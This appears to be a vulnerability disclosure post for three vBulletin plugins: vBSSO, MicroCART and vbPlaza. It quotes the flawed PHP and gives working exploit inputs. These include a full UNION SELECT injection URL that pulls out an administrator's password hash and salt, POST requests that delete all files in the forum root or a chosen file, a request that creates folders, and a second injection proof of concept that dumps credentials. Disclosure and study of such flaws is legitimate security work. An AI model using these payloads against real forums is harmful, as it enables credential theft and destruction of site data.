vBulletin vBSSO Single Sign-On – <= 1.4.14 - SQL Injection

Plugin: http://www.vbulletin.org/forum/showthread.php?t=270517
Version: <= 1.4.14

This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file in the fetchUserinfo function.
It requires a big UNION ALL SELECT query and commenting out the LIMIT function of SQL. If SQL injection is a success, the browser will redirect the user to a URL where the URL contains the extracted information.

I will talk about 2 functions which are used, goToAvatarUrl and fetchUserinfo. I will only provide a small portion of the code of the fetchUserinfo function.

    public function goToAvatarUrl() {
        $vbsso_forum_root = $this->settings['bburl'];
        $url = VBSSO_ASSETS_AVATAR_NOT_FOUND_IMAGE_FILE;

        if (isset($_GET['id']) && !empty($_GET['id'])) {
            $id = sharedapi_gpc_variable('id');

            $userinfo = $this->fetchUserinfo($id);

            if ($userinfo) {
                $this->fetchAvatarFromUserinfo($userinfo, (sharedapi_gpc_variable('thumb') == 'true'));
                $url = $userinfo['avatarurl'];
            }

            $host = $_SERVER['HTTP_HOST'];
            $vbsso_avatar = preg_match("/$host/", $url) ? $url : $vbsso_forum_root . '/' . $url;

            $this->closeSqlConnection();
            sharedapi_url_redirect($vbsso_avatar);
        } else {
            $this->closeSqlConnection();
            sharedapi_url_redirect($vbsso_forum_root . '/' . $url);
        }
    }

 

    private function fetchUserinfo(&$hash) {
        // Exit if a guest, otherwise we waste time running the query.
        if (!$hash) {
            return false;
        }

        $query = "SELECT userfield.*, usertextfield.*, user.*, usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS passworddate,
			IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid" .
            $this->iif($this->settings['avatarenabled'], ', avatar.avatarpath, NOT ISNULL(customavatar.userid) AS hascustomavatar,
            customavatar.dateline AS avatardateline, customavatar.width AS avwidth, customavatar.height AS avheight,
            customavatar.height_thumb AS avheight_thumb, customavatar.width_thumb AS avwidth_thumb, customavatar.filedata_thumb') .
            " FROM " . TABLE_PREFIX . "user AS user
		LEFT JOIN " . TABLE_PREFIX . "userfield AS userfield ON (user.userid = userfield.userid)
        LEFT JOIN " . TABLE_PREFIX . "usergroup AS usergroup ON (usergroup.usergroupid = user.usergroupid)
		LEFT JOIN " . TABLE_PREFIX . "usertextfield AS usertextfield ON (usertextfield.userid = user.userid) " .
            $this->iif($this->settings['avatarenabled'], "LEFT JOIN " . TABLE_PREFIX . "avatar AS avatar ON (avatar.avatarid = user.avatarid)
            LEFT JOIN " . TABLE_PREFIX . "customavatar AS customavatar ON (customavatar.userid = user.userid) ") .
            "WHERE MD5(LOWER(user.email)) LIKE '{$hash}' LIMIT 1";

        $user = $this->mysqli->query($query);

        $user = ($user) ? $user->fetch_assoc() : false;

        // Rest of the code.

The goToAvatarUrl function checks if the id parameter is set in the URL and then executes the sharedapi_gpc_variable function over it.

After that it calls the fetchUserinfo function which executes a query which uses the unsanitized variable $hash, which is the id parameter in the URL. Once the query has been executed it will call the fetchAvatarFromUserinfo function which creates the URL where the user will be redirected to.

To exploit this, you need to execute a rather large UNION ALL SELECT query like this:
http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid = 1 UNION ALL SELECT userfield.*, usertextfield.*, user.*, usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath, NOT ISNULL(customavatar.userid) AS hascustomavatar, customavatar.dateline AS avatardateline, customavatar.width AS avwidth, customavatar.height AS avheight, customavatar.height_thumb AS avheight_thumb, customavatar.width_thumb AS avwidth_thumb, customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN usertextfield AS usertextfield ON (usertextfield.userid = user.userid) LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT JOIN customavatar AS customavatar ON (customavatar.userid = user.userid) WHERE user.userid = 1 ORDER BY avatarpath DESC%23

For example, by visiting this URL on a vulnerable forum, you will be redirected to http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS which obviously contains the hash and salt of userid 1.

vBulletin MicroCART 1.1.4 – Arbitrary File(s) Deletion, SQL Injection & XSS

Plugin: http://www.vbulletin.org/forum/showthread.php?t=256723
Version: 1.1.4 (latest)

This plugin is fairly old but still used by a lot of people and received its last update nearly 4 years ago.
It’s vulnerable to arbitrary file deletion and SQL injection.

Arbitrary Files Deletion
In /microcart/editor/assetmanager/ are a bunch of files which are probably used to manage files/folders for the administrator, unfortunately no authentication and checks were added to see if the user should have access to it and if the request doesn’t contain anything malicious.

The /microcart/editor/assetmanager/folderdel_.php file contains the following on top:

$sMsg = "";

if(isset($_POST["inpCurrFolder"]))
  {
  $sDestination = pathinfo($_POST["inpCurrFolder"]);

  //DELETE ALL FILES IF FOLDER NOT EMPTY
    $dir = $_POST["inpCurrFolder"];
    $handle = opendir($dir);
    while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file);
    closedir($handle);

  if(rmdir($_POST["inpCurrFolder"])==0)
    $sMsg = "";
  else
    $sMsg = "document.write(getTxt('Folder deleted.'))";
  }

By simply sending a POST request to this file, we can delete every single file in specified folder.

POST to:	/microcart/editor/assetmanager/folderdel_.php
POST data:	inpCurrFolder: ../../../

This POST request will delete every single .php file in the root folder of vBulletin.

Arbitrary File Deletion
There’s another vulnerability which resides in the /microcart/editor/assetmanager/assetmanager.php file. It contains an upload function, which is safe, and a file deletion function, which is not safe. We can delete any file off the server by abusing this. So unlike the previous vulnerability I just wrote which deletes all files by sending a POST request with a folder value, this will only delete 1 file off the server.

Vulnerable code:

if(isset($_POST["inpFileToDelete"]))
  {
  $filename=pathinfo($_POST["inpFileToDelete"]);
  $filename=$filename['basename'];
  if($filename!="")
    unlink($currFolder . "/" . $filename);
  $sMsg = "";
  }

Exploited by sending the following request:

POST to:	/microcart/editor/assetmanager/assetmanager.php
POST data:	inpCurrFolder: ../../../
		inpFileToDelete: index.php		

This will delete the /index.php file of vBulletin, in the root.

Aribtrary Folder Creation
Besides the file deletion, there’s a file called /microcart/editor/assetmanager/foldernew.php which creates a 0755 chmodded folder on the server.
The file contains the following on top:

$sMsg = "";

if(isset($_POST["inpNewFolderName"]))
  {
  $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"];

  if(is_dir($sFolder)==1)
    {//folder already exist
    $sMsg = "document.write(getTxt('Folder already exists.'))";
    }
  else
    {
    //if(mkdir($sFolder))
    if(mkdir($sFolder,0755))
      $sMsg = "document.write(getTxt('Folder created.'))";
    else
      $sMsg = "document.write(getTxt('Invalid input.'))";
    }
  }

By sending the following POST request, we will create a folder with 0755 chmodded permission.

POST to:	/microcart/editor/assetmanager/foldernew.php
POST data:	inpNewFolderName: 	davewashere
		inpCurrFolder: 		../../..

This POST request will create the folder davewashere in the root of the vBulletin forum.

SQL Injection
MicroCART is also vulnerable to SQL injection at several locations although most of them are rather hard to abuse. I will not explain how to exploit it, but the vulnerability can be found at /cart.php line 833 to 881 and the function where you can add products to your shopping cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to the configuration variable which is later used in a query.

Cross Site Scripting
When modifying your information at /cart.php?do=cpanel, you can inject anything you want into the fields.
Viewing reviews of products may be vulnerable as well when you leave out the wysiwyg POST key.

vBulletin vbBux and vbPlaza v4 Plugin – SQL Injection

Plugin: http://www.vbulletin.org/forum/showthread.php?t=270271
Version: 4.0.3 (latest)

The vulnerability resides in the /vbplaza/tracklist.php file.
The vulnerable code:

// try to get the songs for this user
if (empty($_REQUEST['userid']))
{
	// set it to the currently logged in user
	$_REQUEST['userid'] = $vbulletin->userinfo['userid'];
}

// grab any user tracks from the database
$usertrack_cache = array();
if ($usertracks = $vbulletin->db->query_read("
	SELECT *
	FROM " . TABLE_PREFIX . "vbplaza_track_user
	WHERE userid = " . $_REQUEST['userid'] . "
	ORDER BY displayorder, usertrackid
"))

Nothing is sanitized and no validation. Very easy to exploit.

Proof of concept
http://example.com/vbplaza/tracklist.php?userid=userid UNION ALL SELECT null, null, null, null, null, null, concat(username, 0x3a, password, 0x3a, salt), null, null FROM user WHERE userid = 1

Image
VBPlaza SQL Injection